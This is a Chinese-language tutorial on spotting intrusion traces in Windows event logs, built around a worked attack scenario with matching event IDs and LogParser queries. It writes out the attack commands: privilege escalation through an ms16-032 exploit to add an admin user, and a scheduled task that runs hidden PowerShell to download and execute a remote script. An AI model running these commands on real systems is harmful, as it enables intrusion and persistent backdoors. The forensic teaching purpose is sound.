1. 程式人生 > 實用技巧 >Windows日誌識別入侵痕跡

Windows日誌識別入侵痕跡

有小夥伴問:網路上大部分windows系統日誌分析都只是對惡意登入事件分析的案例,可以通過系統日誌找到其他入侵痕跡嗎?
答案肯定是可以的,當攻擊者獲取webshell後,會通過各種方式來執行系統命令。所有的web攻擊行為會存留在web訪問日誌裡,而執行作業系統命令的行為也會存在在系統日誌。不同的攻擊場景會產生不一樣的系統日誌,不同的Event ID代表了不同的意義,需要重點關注一些事件ID,分析入侵者在系統中留下的攻擊痕跡。

我們通過一個攻擊案例來進行windows日誌分析,從日誌裡識別出攻擊場景,發現惡意程式執行痕跡,甚至還原攻擊者的行為軌跡。

1、資訊收集
攻擊者在獲取webshell許可權後,會嘗試查詢當前使用者許可權,收集系統版本和補丁資訊,用來輔助許可權提升。

whoami
systeminfo

Windows日誌分析:
在本地安全策略中,需開啟稽核程序跟蹤,可以跟蹤程序建立/終止。關鍵程序跟蹤事件和說明,如:

4688 建立新程序
4689 程序終止

我們通過LogParser做一個簡單的篩選,得到Event ID 4688,也就是建立新程序的列表,可以發現使用者Bypass,先後呼叫cmd執行whami和systeminfo。Conhost.exe程序主要是為命令列程式(cmd.exe)提供圖形子系統等功能支援。

Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\11.evtx"
LogParser.exe -i:EVT "SELECT TimeGenerated,EventID,EXTRACT_TOKEN(Strings,1,'|') as UserName,EXTRACT_TOKEN(Strings,5,'|') as ProcessName FROM c:\11.evtx where EventID=4688"

2、許可權提升
通過執行exp來提升許可權,獲取作業系統system許可權,增加管理使用者。

ms16-032.exe "whoami"
ms16-032.exe "net user test1 abc123! /add"
ms16-032.exe "
net localgroup Administrators test1 /add"

Windows日誌分析:
在本地安全策略中,需開啟稽核賬戶管理,關鍵賬戶管理事件和說明。如:

4720  建立使用者
4732  已將成員新增到啟用安全性的本地組


這裡會涉及程序建立,主要關注賬戶建立和管理使用者組變更。從Event ID 4720 ,系統新建了一個test使用者,從Event ID 4732的兩條記錄變化,得到一個關鍵資訊,本地使用者test從user組提升到Administrators。

3、管理賬號登入
在建立管理賬戶後,嘗試遠端登入到目標主機,獲取敏感資訊。

mstsc /v 10.1.1.188

Windows日誌分析:
在本地安全策略中,需開啟稽核登入事件,關鍵登入事件和說明,如:

4624 登入成功
4625 登入失敗

LogParser.exe -i:EVT "SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,8,'|') as EventType,EXTRACT_TOKEN(Strings,5,'|') as username,EXTRACT_TOKEN(Strings,18,'|') as Loginip FROM C:\3333.evtx where EventID=4624"

使用LogParser做一下分析,得到系統登入時間,登入型別10 也就是遠端登入,登入使用者 test,登入IP:10.1.1.1。


4、許可權維持
通過建立計劃任務執行指令碼後門,以便下次直接進入,使用以下命令可以一鍵實現:

schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://10.1.1.1:8888/logo.txt\"\"\"))\""

Windows日誌分析:
在本地安全策略中,需開啟稽核物件訪問,關鍵物件訪問事件,如:

4698  建立計劃任務
4699  刪除計劃任務


這裡涉及程序建立和物件訪問事件,包括schtasks.exe程序的建立和Event ID 4698發現新建的計劃任務。成功找到計劃任務後門位置: